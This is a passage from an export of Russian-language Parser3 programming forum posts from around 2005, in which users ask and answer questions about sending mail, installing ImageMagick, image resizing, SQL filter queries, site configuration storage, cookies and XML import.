Подскажите пожалуйста, как отправлять письма посетителям?"
"36546","Вернее, как пользоваться - понятно. Если вызывать ImageMagik из коммандной строки - всё пашет.\
\
Не понятно, как привязать это всё к примеру об изменении размеров изображений.\
\
Я слаб в Perl, но, как я понял, надо добавить ImageMagik библиотеку. А как?\
\
Помогите-с..."
"36547","http://www.parser.ru/forum/?id=36090\
\
У меня на некоторых сложных XSLT преобразованиях парсер отъедает более 300 мегабайт. На 3.1.3 такого не было разумеется."
"36548","ppm install Image-Magick.ppd\
\
Это понятно, но как это сделать, када стоит не ActivePerl, а денверовский?"
"36550","Помогите пожалуйста, т.к. очень нужно при регистрации отправлять письмо пользователям!!!!!!!!!!!!!!!!!!!!!!!\
Беру строки из примера и подставляю туда свой адрес:\
^mail:send[\
      $.from[Вася <vasya@hotmail.ru>]\
      $.to[Петя <petya@hotmail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
Всё отправляется.\
Когда же вставляю вот так:\
$form[Сайт <ххх@ххххххх.com>]\
^mail:send[\
$.to[111 <ффффф@фффф.ru>] \
$.from[$from]\
^rem{ *** кодировка, в которой отправляется письмо *** }\
$.charset[koi8-r]\
$.subject[Регистрация пользователя на http://$env:SERVER_NAME/]\
$.text[Пользователь:  <br> Пароль:   <br> Комментарий: http://$env:SERVER_NAME/confirm.html?id<br>]\
]\
В строке $.to[$form:[auth.email]] тоже не отправляется.\
Ошибка: 'send' email is empty [email.format]\
Я уже третий день мучаюсь. Помогите!!!!!!!!!!!!!!!!!!"
"36551","Почему такая конструкция работает безотказно:\
^mail:send[\
      $.from[Вася <vasya@hotmail.ru>]\
      $.to[Петя <petya@hotmail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
А конструкция вида:\
$from[Вася <vasya@hotmail.ru>]\
^mail:send[\
      $.from[$from]\
      $.to[Петя <petya@hotmail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
выдает ошибку.\
Я в панике!!!"
"36552","...используется урезанная версия ActivePerl, вы также можете установить полную.\
\
http://www.denwer.ru/dis/ActivePerl/"
"36553","Этот пакет ActivePerl не кушает последний ImageMagick.\
\
Хм!!!\
А зачем мне последняя версия...\
\
Точно, возьму постарше. Спасибо, что подтолкнуди.\
\
Но проблема всё равно не закрыта."
"36554","На одной странице у меня идет перечисление всех записей таблицы (MqSQL).\
Мне нужно по нажатию ссылки «изменить», которая находится возле каждой выведенной записи, переходить на страницу где я смогу изменить эту запись.\
Пожалуйста, объясните, как мне нужно действовать для достижения результата.\
\
Заранее благодарю."
"36558","я так и понял что это тема топика http://www.parser.ru/forum/?id=36090"
"36559","А в чем проблема? Выводите в каждую ссылку \"изменить\" свой id относящийся к соответствующей строке.\
[code]\
^sql_table.menu{\
 $sql_table.title - <a href=\"edit.html?id=$sql_table.id\">Изменить</a>\
}\
\
edit.html:\
$id[^form:id.int(0)]\
$sql_row[^table::sql{select * from sql_table where id = $id}]\
И т.д.\
[/code]"
"36561","В общем, пытаюсь изобразить пример по ресайзу картинок.\
Пробую на локальной машине. Стоит последний ДЕНВЕР. Файлы images.p и images.pl лежат в корне, в папке /classes/images/ .\
Класс вызывается правильно, так как файлы сохраняются. Не работает объект ^images:resize[]\
\
Обращаюсь к ^images:resize[] из файла http://user/index.html\
\
[code]\
^images:resize[\
	$.source_path[/user/$uid]\
	$.destination_path[/user/$uid]\
	$.image_name[$prefile]\
	$.script_path[/home/user/classes/images/images.p]\
]\
[/code]\
\
Также, пробую [/user/classes/images/images.p], [/home/cgi-glob/images.p], [http://user/cgi-glob/images.pl]\
\
Результат всегда один - ^images:resize[] результирует цифрой 7, что значит (7 - скрипт images.pl отсутствует).\
\
Помогите. Как указать путь?"
"36562","Насколько я помню, в script_path надо указать путь до скрипта, без его имени.. Т.е. путь к cgi директории где лежит perlовый images.pl\
\
Между прочим вот [url=\"http://www.parser.ru/examples/imagemagic/\"]здесь[/url], черным по белому написано: \
[quot]\
^images:resize[параметры]\
$.script_path — путь к файлу images.pl без имени файла и без завершающего обратного слеша ($.script_path[/../cgi-bin/images.pl]).\
[/quot]\
\
Кстати и всё остальное там описано подробно.."
"36563","[quot]\
$.script_path — путь к файлу images.pl без имени файла и без завершающего обратного слеша ($.script_path[/../cgi-bin/images.pl]).\
[/quot]\
Если уж сказано без имени и слеша, то пусть и в примере будет ($.script_path[/../cgi-bin]).."
"36564","Да. Я изучил.\
\
Не получается. Напишите пример.\
\
Вот это подойдёт?\
[code]/home/cgi-glob/images.pl[/code]"
"36565","Вернее, вот так:\
\
[code]/home/cgi-glob[/code]"
"36566","подцветка ссылок глубже, чем 1.\
\
[code]\
@navigation[]\
$dirs[^table::load[/directions.cfg]]<table width=\"770\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
<tr><td align=\"middle\"></td>\
    ^dirs.menu{\
	^navidirs_cell[]\
   }<td align=\"middle\"><img src=\"/img/menu_beg.gif\" width=\"5\" height=\"27\"></td>\
   </tr></table>\
\
@navidirs_cell[]\
<td align=\"middle\"><img src=\"/img/menu_beg.gif\" width=\"10\" height=\"27\"></td>\
$cell_width[^eval(100\\$dirs)%]\
^if($curr_uri[^findstr[$dirs.uri;^request:uri]]) > -1 )\
{<td width=\"$cell_width\" align=\"middle\" class=directis>\
   <nobr><span class=directis>$dirs.name</span></nobr>\
   </td>\
}{<td align=\"middle\" width=\"$cell_width\" class=tddirects>\
          <a href=\"$dirs.uri\" class=\"directs\"><nobr>$dirs.name</nobr></a>\
  </td>\
}\
[/code]\
\
== а если проверять ^if(\"/in\"), то при положительном ответе закрашиваются все(!) ссылки"
"36567","$.script_path[/../../cgi-glob]"
"36568","Дописал текст в imgaes.p\
\
[code]\
$res[$result]\
^res.save[/save]\
[/code]\
\
Тем самым проверяю результат выполнения."
"36569","Что так и есть?\
\
/../../\
\
C двумя точками?"
"36570","Если указывается путь относительно текущей директории.\
Структура директорий в денвере:\
/home/\
/home/cgi-glob/\
/home/site.ru/www/\
/home/test.ru/www/\
\
Если у нас скрипт лежит в /home/site.ru/www:\
Первое двоеточие это /home/site.ru, второе это /home, и в /home у нас и лежит этот cgi-glob..\
\
У меня строчка что я привёл работает, copypaste'ил.."
"36571","У меня к примеру \
/home/cgi-glob не работает, а \
/../../cgi-glob или z:/home/cgi-glob работают на ура.."
"36572","Что делает эта строка\
[code]^if($curr_uri[^findstr[$dirs.uri;^request:uri]]) > -1 )[/code]\
\
- в которой одна открывающая скобка и две закрывающих,\
- в которой происходит одновременно присвоение чего-то чему-то и сравнение\
- в которой вместо $request:uri написано ^request:uri\
\
А?"
"36573","Если ссылка раздела (путь из файла или построен на основе информации из БД) равна $request:uri - текущий, ссылку не ставим.\
Если ссылка в разделе (путь из файла или построен на основе информации из БД) - ссылку ставим и выделяем, потому как мы в разделе.\
\
Если работаете не с физическими каталогами - тогда сложнее."
"36574","который можно применять в предикатах и который как раз для этой задачи."
"36575","всё ставлю ручками, поэтому проблем в версиях не знаю.\
У меня есть старая инструкция по установке виртуального сервера Apache + MySql + ActivePerl + ImageMagick + Parser:\
\
http://www.spearance.ru/parser3/apache/\
\
Она старая, ежели не сказать древняя, но, как ни парадоксально абсолютно рабочая. В ближайшее время планирую обновить все вышеозначенные пакеты и написать свежую инструкцию."
"36576","http://www.parser.ru/forum/?terms=%EA%ED%E8%E3&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"36578","^if($request:uri eq \"/image/\"){Фотоальбомы}{Фотоальбом: $albums.name}\
\
Как сделать так, чтобы имя соответствовало выборке? Сейчас все время выводится только первая строчка из таблицы."
"36579","1. что дочерний процесс httpd, внутри которого работает модуль, обрабатывает не один запрос, а много. (можно ограничить)\
2. что запрос каждый раз попадает на случайный дочерний процесс из списка свободных.\
\
просто используйте разницу между начальным и конечным значением измеряемого параметра."
"36580","Скрипт находится и выполняется. Результат выполнения - 0. Значит ресайз произошел.\
\
Но проблема теперь другая =)\
Не могу поставить ImageMagick.\
\
В лог кидает вот что, при ресайзе:\
[code]\
[Mon Jan 17 01:02:22 2005] [error] [client 127.0.0.1] Premature end of script headers: /home/cgi-glob/images.pl\
[Mon Jan 17 01:02:22 2005] [error] [client 127.0.0.1] Can't locate loadable object for module Image::Magick in @INC (@INC contains: z:/usr/lib z:/usr/site/lib .) at \\\\home\\\\cgi-glob\\\\images.pl line 10\\n\
[Mon Jan 17 01:02:22 2005] [error] [client 127.0.0.1] Compilation failed in require at \\\\home\\\\cgi-glob\\\\images.pl line 10.\\n\
[Mon Jan 17 01:02:22 2005] [error] [client 127.0.0.1] BEGIN failed--compilation aborted at \\\\home\\\\cgi-glob\\\\images.pl line 10.\\n\
[/code]\
\
При попытке установки image-magick.ppd, говорит, что версия ActivePerl не та.\
\
Буду возиться."
"36582","сами говорите, что у вас есть скрипт, который делает, что нужно.\
просто запустите его через file::exec, и будет счастье."
"36583","10-я строка в images.pl\
\
[code]use Image::Magick;[/code]"
"36584","Ну да, пишет что image::magickа нету..\
Вот установкой im локально ещё не заморачивался, ибо на большинстве хостингов что я видел он как модуль perl установлен, так что тестить лучше в онлайн.."
"36585","Смотрите что в документации пишут на счет класса Table. Есть разные методы: menu, locate, select. А еще можно преобразовать таблицу в хэш и работать с ним будет гораздо проще, например:\
\
[code]\
$hash_albums[^albums.hash[name]]\
# откуда-то у вас приходит название текущего альбом:\
$album[Название альбома]\
# и выбираете так:\
$hash_albums.$album\
[/code]\
\
[color=\"#ffffff\"]Читайте доки. Они рулят.[/color]"
"36586","Ну ясен пень, image::magick как модуль не установлен..\
Сейчас специально для такого случая попробовал. \
Perl - ActivePerl-5.8.4.810-MSWin32-x86.msi\
IM - ImageMagick-6.1.8-Q16-windows-dll.exe\
Поставил перл, потом ставлю IM, в опциях указываю установить perlmagick. В конце вылетает ошибка насчет .ppd файлов (perl не связал их со своим установщиком). \
Запускаем фар. Идём в c:\\program files\\ImageMagick\\PerlMagick\
SET PATH=%PATH%;C:\\PERL\\BIN\
PPM INSTALL Image-Magick.ppd\
Вообщем можно и по другому, но суть в том, что надо в ручную установить ppmом imagemagick.\
После этого опробовал наш пример, работает он на ура."
"36587","[code]\
Вобщем всё сделал, путем огромного гемора.\
\
Установил Perl 5.8.* в z:\\usr\\ , предварительно остановив сервер и переименовав usr в usr_1 .\
\
После установки Perl, скопировал всё из usr_1\\local в usr\\local .\
\
Запустил сервер и установил ImageMagick-6.1.8-Q16-windows-dll.exe .\
\
Затем выполнил из z:\\usr\\bin\\perl\\ [ppm.bat install e:\\imagemagick\\perlmagick\\image-magick.ppd]\
\
Подождал минуту, но всё встало - написал Installed.\
\
Затем, при обращении к use Image::Magick; , ругался на то, что не может найти CORE_RL_magick_.dll . Склпировал эту ДЛЛку в z:\\usr\\site\\lib\\auto\\Image\\Magick\\ и стал ругаться на другую библиотеку.\
\
Скопировал все файлы в эту папку и всё заработало (ура!).\
\
\
Тупой способ в лоб, но он работает и все фишки IM тоже.\
[/code]"
"36588","...на win просто вызывать скрипт (exe) ImageMagic-а без всякого perl?"
"36589","Править images.pl ?"
"36590","Результат доступен по адресу: http://ndt.org.ua/rus/search/\
\
[code]@body[]\
$rep[^table::create{from	to\
А	%D0%90\
Б	%D0%91\
В	%D0%92\
Г	%D0%93\
Д	%D0%94\
Е	%D0%95\
Ё	%D0%81\
Ж	%D0%96\
З	%D0%97\
И	%D0%98\
Й	%D0%99\
К	%D0%9A\
Л	%D0%9B\
М	%D0%9C\
Н	%D0%9D\
О	%D0%9E\
П	%D0%9F\
Р	%D0%A0\
С	%D0%A1\
Т	%D0%A2\
У	%D0%A3\
Ф	%D0%A4\
Х	%D0%A5\
Ц	%D0%A6\
Ч	%D0%A7\
Ш	%D0%A8\
Щ	%D0%A9\
Ъ	%D0%AA\
М	%D0%AB\
Ь	%D0%AC\
Э	%D0%AD\
Ю	%D0%AE\
Я	%D0%AF\
І	%D0%86\
Ї	%D0%87\
Є	%D0%84\
а	%D0%B0\
б	%D0%B1\
в	%D0%B2\
г	%D0%B3\
д	%D0%B4\
е	%D0%B5\
ё	%D1%91\
ж	%D0%B6\
з	%D0%B7\
и	%D0%B8\
й	%D0%B9\
к	%D0%BA\
л	%D0%BB\
м	%D0%BC\
н	%D0%BD\
о	%D0%BE\
п	%D0%BF\
р	%D1%80\
с	%D1%81\
т	%D1%82\
у	%D1%83\
ф	%D1%84\
х	%D1%85\
ц	%D1%86\
ч	%D1%87\
ш	%D1%88\
щ	%D1%89\
ъ	%D1%8A\
м	%D1%8B\
ь	%D1%8C\
э	%D1%8D\
ю	%D1%8E\
я	%D1%8F\
і	%D1%96\
ї	%D1%97\
є	%D1%94\
!	%21\
\"	%22\
№	%23\
^;	%24\
%	%25\
:	%26\
?	%27\
(	%28\
)	%29\
+	%2B\
=	%3D}]\
^if(def $form:q){\
	$response:location[^switch[$form:engine]{\
		^case[msn]{http://search.msn.com/results.aspx?dom=ndt.org.ua&q=^form:q.replace[$rep]+ndt.org.ua}\
		^case[rambler]{http://search.rambler.ru/cgi-bin/rambler_search?filter=ndt.org.ua&words=^taint[uri][$form:q]}\
		^case[yandex]{http://www.yandex.ru/yandsearch?text=^taint[uri][$form:q]&surl=ndt.org.ua&type=www}\
		^case[DEFAULT]{http://www.google.com.ua/search?q=site:ndt.org.ua ^form:q.replace[$rep]}\
	}]\
}{\
^search_form[google]\
^search_form[yandex]\
^search_form[rambler]\
^search_form[msn]\
}\
\
@search_form[name]\
<form name=\"$name\" id=\"$name\">\
<table align=\"center\">\
	<tr>\
		<td width=\"70\" align=\"right\">^image[/img/search/${name}.gif]</td>\
		<td>\
			<input type=\"text\" name=\"q\">\
			<input type=\"hidden\" name=\"engine\" value=\"$name\">\
			<input type=\"submit\" value=\"Пошук\">\
		</td>\
	</tr>\
</table>\
</form>[/code]"
"36596","..только если надо приблизить к реальности, т.е. если на сайте оно через images.pl будет работать.."
"36597","Надо пообщаться"
"36599","$script_name[image_magic.bat]\
...\
$f[^file::exec[$script_name]]\
\
\
на живом сайте правите значение $script_name ( например определяете её в конфигурационном auto.p )\
\
P.S. не вижу смысла корячиться на win с perl для таких примитивных вещей. для меня написать bat файл было-бы проще/быстрее чем установить дополнительный пакет в perl."
"36600","пишите прямо сюда?"
"36601","Но все-таки непосредственный контакт важен.\
А тема общения - на мне висят 6 сайтов, где я и дизайнер, и копирайтер, и тех. дизайнер, и программист. Я хотел передать часть работы по программированию, потому как полный трандец настает.\
\
А как вы понимаете, те деньги, которые платят в г. Москва за сайт и особенно студии Лебедева, не очень сопоставимы с теми деньгами, которые заказчики согласны платить за сайт в г. Калининграде, хотя у меня, видимо, цены одни из самых высоких."
"36602","То есть из базы призодит число, мне надо решение как грамотно сделать:\
\
число = 0 {действие}\
0 < число < 10 {действие}\
число > 10 {действие}\
\
подскажите куда капать :)"
"36603","Или получение информации в документации о \"получении числа из базы данных\" есть проблема?"
"36604","Спасибо :) \
Да, действительно, кое-что нашел и кое-что исправил.\
\"Красноты\" стало меньше. \
Пожалуйста, подскажите как избавиться от остальных ошибок [url=\"http://www.llo.ru/_test.html\"]_test.html[/url]!?\
И как справиться с этим [quot]Задать $CLASS_PATH и определить $SQL.connect-string.[/quot]\
Очень хочется, чтобы все работало так как надо."
"36605","Я думаю что функция, определяющая стоимость работ по веб-программированию, терпит разрыв первого рода на МКАД. А то и второго рода, так как не уверен за существование ее предела внутри кольца... :) Поэтому наверное при отсутствии отзывов с родины вам также целесообразно давать клич и на восток от Москвы. Я например открыт к сотрудничеству, в случае чего напишите подробности..."
"36606","долго грузится сайт.\
что можно сделать по оптимизации?\
\
пожалуйста, если есть время:\
[url]http://www.baytur.kg[/url]"
"36607","Прошу прощения, если такая тема уже поднималась. Поиском найти не смог.\
\
Вопрос такой. Сейчас использую класс config.p для хранения общих для всего сайта переменных. Например текст сообщения об ошибках, настройки для скроллера, мыло админи и т.д. \
\
Подключаю его в auto.p юзом. И соответсвенно обращаюсь к переменным ^config:var1 Нехватает только кеширования, но это другая тема.\
\
Хочется хранить все это безобразие в базе. Так было бы удобнее сделать интерфейс редактирования любых переменных и т.д. \
Единственное никак не соображу как это правильно сделать, причем очень желательно чтобы обращение к этим переменным в самом коде не изменилось. Как хранить в базе (структура таблицы) и как доставть, чтобы не изменилось обращение.\
\
Еще раз прошу прощения, если прошелся по известным граблям."
"36608","Делаете в таблице два столбца. Первый — название переменной, второй — значение. В чем проблема?"
"36609","Какой-то уж слишком пространный вопрос…\
\
ПостСкриптум\
Долго? Я вроде открыл — все почти мгновенно. :)"
"36610","Могу предположить, что по GPRS или dialup будет открываться медленно из-за обилия мелких графических элементов. Каждый гифчик - новый реквест браузера к сайту. Может часть из них слепить друг с другом?"
"36612","Хорошо."
"36613","Полагаю проблема в том, что при загрузке каждой станицы придётся брать эти вещи из базы, а это не очень хорошо."
"36615","А именно классы SQL и auth - можно ли их использовать в коммерческом софте?"
"36616","[code]\
^switch($value){\
  ^case(0){\
  }\
  ^case(1;2;3){\
  }\
  ^case[DEFAULT]{\
  }\
}\
[/code]\
\
для бОльших:\
уже писал в форуме циклик, которые бежал по табличке с порогами, а внутри содержал [b]один[/b] if-чик. воспользуйтесь поиском по форуму."
"36617","отнимать никто не будет, запрещать использовать - тоже."
"36618","Parser v.3.1.4\
[code]\
# $Id: dtf.p,v 1.11 2004/06/28 07:51:57 misha Exp $\
\
@parse[date]\
^if($date is date){\
	$result[$date]\
}{\
	^try{\
		^if(!def $date || ($date is 'string' && ^date.length[] < 4)){\
			^throw[dtf.parse;Wrong date string format]\
		}\
		$result[^date::create[$date]]\
	}{\
		$exception.handled(1)\
		$result[^date::now[]]\
	}\
}\
#end @parse[]\
\
@format[fmt;date;locale]\
$date[^parse[$date]]\
$sdfsd[${date.day}-${date.month}-${date.year}]\
^sdfsd.save[/_.txt]\
\
^if(!def $locale){$locale[$self.locale]}\
\
$result[^fmt.match[%(.)][g]{^switch[$match.1]{\
	^case[%]{%}\
\
	^case[e]{$date.day}\
	^case[d]{^date.day.format[%02d]}\
\
	^case[c]{$date.month}\
	^case[m]{^date.month.format[%02d]}\
	^case[h]{$locale.month.[$date.month]}\
\
	^case[Y]{$date.year}\
	^case[y]{$tmp($date.year % 100)^tmp.format[%02d]}\
\
	^case[w]{$date.weekday}\
	^case[a;A]{$locale.weekday.[$date.weekday]}\
\
	^case[D]{^date.month.format[%02d]/^date.day.format[%02d]/$date.year}\
\
	^case[H]{^date.hour.format[%02d]}\
	^case[M]{^date.minute.format[%02d]}\
	^case[i]{^date.minute.format[%02d]}\
	^case[S]{^date.second.format[%02d]}\
\
	^case[T]{^date.hour.format[%02d]:^date.minute.format[%02d]:^date.second.format[%02d]}\
}}]\
[/code]\
\
При попытке ^dtf:format[%e %c %Y  %H %M;$update_time], где $update_time переменная типа date получаю вывод в нужном формате за текущую дату (now), а не за заданную."
"36619","Т.е. если будет указано что используется библиотека (класс), скажем \
[b]sql.p,v 1.34 2005/01/10 10:57:50 misha[/b], то никаких претензий это не вызовет?"
"36620","Храню все настройки в файле config.p следующего вида\
[code]\
#### config.p\
@configuration[]\
$conf[\
   $.email[feedback@server.name]\
   $.language[rus]\
   ...\
]\
#### / config.p\
[code]\
\
А потом просто подключаю его в auto.p в @auto[]"
"36621","Я складываю настройки в файл с хэшем, но достаю их оттуда через ^file::load[] и потом ^process[]"
"36622","Большая просьба подсказать - по какому слову искать?\
[i]Фильтровать по автору: Александр Петросян (PAF)[/i]\
и\
слова \"порог\", \"диапазон\", \"интервал\", \"множества\", и т.д."
"36624","Существует ли \"легальное\" преобразование из хеша в хешфайл или только с помощью ^foreach[] & co ?\
\
Иными словами у меня сформирован обычный хеш и мне его нужно сохранить - возможно ли сделать это штатными средствами?"
"36625","<h1>sql.p,v 1.34 2005/01/10 10:57:50 misha - полное дерьмо</h1>\
\
то у меня безусловно возникнут словестные претензии, но дальше словестных претензий дело не пойдет, т.к. мне пофигу если обо мне что-то неаргументировано говорят не знакомые мне люди.\
\
:)))\
\
P.S. я вроде ответил выше. берите и пользуйтесь если вам это удобно."
"36626","всегда считал что\
$result[^date::create[$date]]\
\
создаст другой объект типа data, что мне казалось логичный по аналогии с \
$result[^table::create[$table]]\
$result[^hash::create[$hash]]\
согласно этим поим предположениям код должен был работать (и был добавлен соотв. комментарий в текст), но реально я его никогда не проверял, т.к. я использовал format для форматирования чего-то достатого из БД, т.е. когда дата - текст.\
\
но в реалиях оказался облом. fixed :)"
"36628","Вот, пожалуйста, забирай тёпленький хост, который я юзаю. http://orghost.ru"
"36629","Подскажите, пожалуйста, чем вариант с ^file::load[] выгоднее ^use[файл]. И где Вы его подгружаете? В auto.p или в каждой странице? Если не сложно, привидете пример ^process[]."
"36630","Безусловно многое можно и нужно скешировать. Я пытаюсь понять суть.. если хранить переменные в базе, в auto.p подключать юзом класс, который будет доставать все переменные и процессить их, а сам ^use[] закешировать, будет ли при генерации страниц обращение к конфигурационной переменной вызывать запрос к базе?"
"36631","Собственно вопрос прямого отношения не имеет к парсеру, точнее, не только к парсеру.\
Суть: Есть хранилище документов (SQL-таблица), документы содержат аттачи (присоединенные файлы). Хранить их в таблице, как BLOB - считаю делом контрпродуктивным. Поэтому Решил хранить только ссылки на эти файлы, а сами файлы - на диске.\
Вопрос такой как лучше хранить на диске?\
Если я буду все сваливать в одну директорию - как это скажется на производительности?"
"36632","простой SQL запрос - это ОЧЕНЬ быстро, особенно если расставить правильные индексы (зато почему-то не боятся пачек use, process и т.п.). приsql запросе получается небольшой объем информации от сервера, который постоянно готов эту информацию предоставить (use загружает, делает синтаксический анализ и компилит файл целиком, process - делает синтаксический анализ и компилит).\
\
если вы их все-же боитесь - посмотрите на мой sql класс в примерах, в нем есть возможность смотреть на выполняемые sql запросы в целом по странице и кешировать результаты запросов в файлах (что оправдано далеко не всегда)"
"36634","не описана, значит нет. (или может изчезнуть в любую секунду)\
\
пожалуйста, приведите конкретный пример, когда считаете это полезным?"
"36635","unix каталог, это, обычно, хитрое дерево.\
и там в большой степени всё равно, сколько файлов.\
\
поэтому буквальный ответ: всё равно.\
\
но подумайте: не понадобится ли вам когда-нибудь зайти в этот каталог, скажем, по ftp, и заглянуть в файлик/другой -- сколько времени каталог будет качаться?\
\
поэтому для реальной жизни ответ: лучше разделите каталоги.\
\
что до имён самих файлов, это обычно может быть id записи.\
иногда удобно guid."
"36636","а что, хорошая идея Миша (про содержимое h1) :))) надо будет попробовать"
"36637","Ни в коем случае. Я прекрасно понимаю что простой запрос, достающий, к тому же одно поле из базы это гораздо быстрее чем use большого файла. \
Поправте меня, если я неправ. Сейчас мне видится такое решение.\
В классе config.p описывается метод, достающий нужное мне значение. В базе таблица: имя переменной - значение. Как описано выше в ответе [b]Wonder[/b]. Имя переменной передаем методу в параметре. \
В результате получаем базу с переменными, к которой легко прикрутить административный интерфейс, и переменные достающиеся из базы по одной штуке, что есть быстро и красиво. \
Вроде бы это не плохое решение. \
Но возникает дополнительный вопрос, можно ли будет таким образом обращаться к конфигурацинным переменным из других пользовательских классов?"
"36638","в @auto[]\
потом\
$file[^file::load[text;config.p]] \
^process{^taint[as-is][$file.text]}\
\
Чем лучше? \
Даже, наверное, хуже, т.к. операций больше :)"
"36639","В БД все переменные идут в виде поле = значение.\
В авто main'а выбираю их одним запросом и создаю хэш.\
Далее все они доступны всем классам в виде $hash.переменная\
Если нужно - можно скэшировать всё это в хэшфайл.\
Чего мудрить-то..."
"36640","...hash и hashfile разные cущности, и их искусственное сращивание ведет к багам или потере производительности.\
\
А ситуация такая -> требование заказчика: конфиг-файл подобный *.ini широко используемых в win32.\
(нравиться им так все настраивать, мол удобно).\
\
Из этого файла путем построчного разбора (загружаю как одноколонную nameless таблицу) формируется многомерный хеш. Многомерный т.к., для каждого раздела создается свой hash (есть одинаковые ключи и необходимо, чтобы они не пересекались). \
\
И я думал ускорить это дело – использовать hashfile в качестве кеша. Потом подумал, и решил что фиг с ним - только сама  проверка (не говоря уже про прочее) съест больше ресурсов, чем удалось бы сэкономить."
"36641","1. вы правы, если настроек мало, то переразобрать .ini файл дело миллисекундное. и городить огород ни к чему.\
\
2. но если бы захотели что-то ускорить, то вполне можно было бы делать ровно, что пишете, только сразу оперировать hashfile. не ставить вопрос о переливании из бака в канистру, а сразу заправлять в канистру.\
\
3. hashfile одномерен (в форуме уже обсуждалось), но ваша задача требует не вообще \"многомерного\" а всего навсего двумерного.\
для подобных задач можно \
[code]\
@auto[]\
$level1[^hashfile::open[level1]]\
@get[key1;key2]\
$level2[$level2cache.$key1]\
^if(!$level2){\
  $level2[^hashfile::open[$key1]]\
  $level2cache.$key1[$level2]\
}\
$result[$level2.$key2]\
[/code]"
"36642","Строка поиска 1    фильтр1\
Строка поиска 2    фильтр2\
Строка поиска 3    фильтр3\
\
Хотелось бы реализовать поиск как по одной строке так и по двум или трем, при этом возможность испольщования фильтров.\
\
Ставит в тупик написание запроса к MySQL. Не могу сообразить как сделать? То есть\
[code]\
select * from online\
[/code]\
\
но допустим если не стоит ниодного фильтра и нажата кнопка искать то планируется вывод результатов. но если есть хоть один фильтр то соотвественно WHERE вступает в силу. Но как определить сколько фильтров заполнено и допустим один или 2 и тогда надо ставить AND?\
\
[code]\
^if(def $form:a){a='1'}\
^if(def $form:b){b='2'}\
[/code]\
\
но если определены обе формы то соотвественно приведет к ошибки синтаксиса. Вот не могу сообразить как определить какая и сколько форм заполнено и как между ними поставить AND?"
"36643","[code]\
...\
WHERE\
  1 = 1\
  ^if(def $form:a){AND a = '1'}\
  ^if(def $form:b){AND b = '2'}\
...\
[/code]"
"36645","Граждане, помогите пожалуйста. Научите работать с cookie.\
Ситуация такая:\
[code]\
$f1[^file::load[binary;http://site.ru/enter.pl;\
  $.method[POST]\
  $.form[\
    $.login[login]\
    $.psw[psw]\
  ]\
  $.headers[\
    $.USER-AGENT[Mozilla/4.0 (compatible^; MSIE 6.0^; Windows NT 5.1)]\
  ]\
  $.any-status(1)\
]]\
[/code]\
Этот скрипт выставляет несколько cookie. Как мне отправить их с запросом на другую страницу?\
\
Пробовал вот так, и вообще по разному, а как правильно?\
[code]\
$ts[$f1.tables.SET-COOKIE]\
$ck[$ts.fields]\
$second_form_location[^untaint{$f1.LOCATION}]\
\
$f2[^file::load[binary;$second_form_location;\
  $.headers[\
    $.USER-AGENT[Mozilla/4.0 (compatible^; MSIE 6.0^; Windows NT 5.1)]\
    $.COOKIE[$ck]\
  ]\
]]\
[/code]"
"36646","Расскажите, как реализовать чтение БОЛЬШОГО XML и запихивание из него данных в базу. \
\
Алгоритм который я использую: \
\
1. Загружаю документ. \
2. Обхожу ^for \
3. В пределах цикла запихиваю в базу(insert)\
\
Это очень долго! 800 строк запихиваются 40 минут! Это 800 insertov. \
\
Можно ли как то по другому?"
"36648","Добро пожаловать и в Волгоград!"
"36649","Искал по форуму, ничего близкого не нашел кроме [url=\"http://www.parser.ru/forum/?id=31995\"]этого[/url], а это неправильно работает. \
Помогите пожалуйста."
"36650","а через ^replace[] ?\
[code]\
@typograf[txt]\
$rep[^table::create{from	to\
^taint[^#0A]^taint[^#0A]	</p><p>\
^taint[^#0A]	<br />}]\
$parTxt[$result^txt.replace[$rep]]]\
...\
[/code]\
вот это нормально ставит вместо \"перевода каретки\" - <br />, вместо 2-х переводов - параграф(открываешь параграф в начале текста и потом \"ложишь\" обработанный).\
но можно и матчем конечно, но - реплейс - быстрей бегает"
"36651","\"импорт XML\""
"36652","По основному вопросу таблица для реплейса:\
[code]$rep[^table::create{from	to\
[br]	<br />}][/code]\
\
Для CODer-a:\
[code]\
@typograf[txt]\
$rep[^table::create{from	to\
^taint[^#0A]^taint[^#0A]	</p><p>\
^taint[^#0A]	<br />}]\
$parTxt[$result^txt.replace[$rep]]]\
[/code]\
Не совсем верный код, т.к. реально перевод строки состоит из 2х символов #0D#0A в таком случае таблица замен будет:\
[code]\
$rep[^table::create{from	to\
^taint[^#0D^#0A]^taint[^#0D^#0A]	</p><p>\
^taint[^#0D^#0A]	<br />\
^taint[^#0A]	<br />}\
]\
[/code]"
"36653","внутри parser все текстовые файлы, включая исходные коды,\
а также данные, получаемые от пользователя в $form:fields,\
обрабатываются на тему стиля переносов строк -- всевозможные стили преобразуются к единому стилю, одному символу с кодом 0x0A.\
\
те данные, что через код на parser'е попали в базу данных, соответственно, имеют переносы в стиле 0x0A."
"36654","Не так давно Мише пришлось править свой sql.p класс, т.к. внутри таблиц не срабатывал реплейс на обычный #0A. Добавление #0D перед #0A решило проблему."
"36655","Юзабилити или маркетинг? :)\
\
Искал в интернете книжку, нашел в pdf-формате, и аннотация привела меня в восторг, приведу здесь лишь вырезку:\
\
[quote]Все страницы пронумерованы. Отложив чтение, вы сможете продолжить его в любое другое время, [b]легко отыскав[/b] ту страницу, на которой вы остановились.[/quote]\
\
[color=\"#efefef\"]Прошу прощения за оффтоп.[/color]"
"36656","Хочется такую же по MySQL то есть с возможностью изготовления закладок \"Содержание\", \"Указатель\", \"Поиск\", \"Избранное\". Подскажите а? :)"
"36659","я действительно зря добавлял ещё одну строку в таблицу замен.\
\
если данные в БД кладутся парсером, то никаких ^#0D там нет.\
\
если написать в виндовой консоле insert с переводами строк - то ^#0D там будет."
"36660","create xml - недешевая операция в плане расхода памяти.\
беганье по нодам - небыстрая операция (хотя приводимые вами цифры что-то ну очень большие).\
\
для mp3.samsung.ru мне пришлось делать импорт 30МБ xml файла в БД (более 400 тысяч записей). правда я не пытался сразу класть даные в БД, в мою задачу входило создать текстовый файл который потом будет быстро загружен с помощью load data infile...\
\
испробованные мной варианты:\
- create xml + foreach - ~10 минут и > 400МБ памяти для работы: не подошло (хотя код примитивный)\
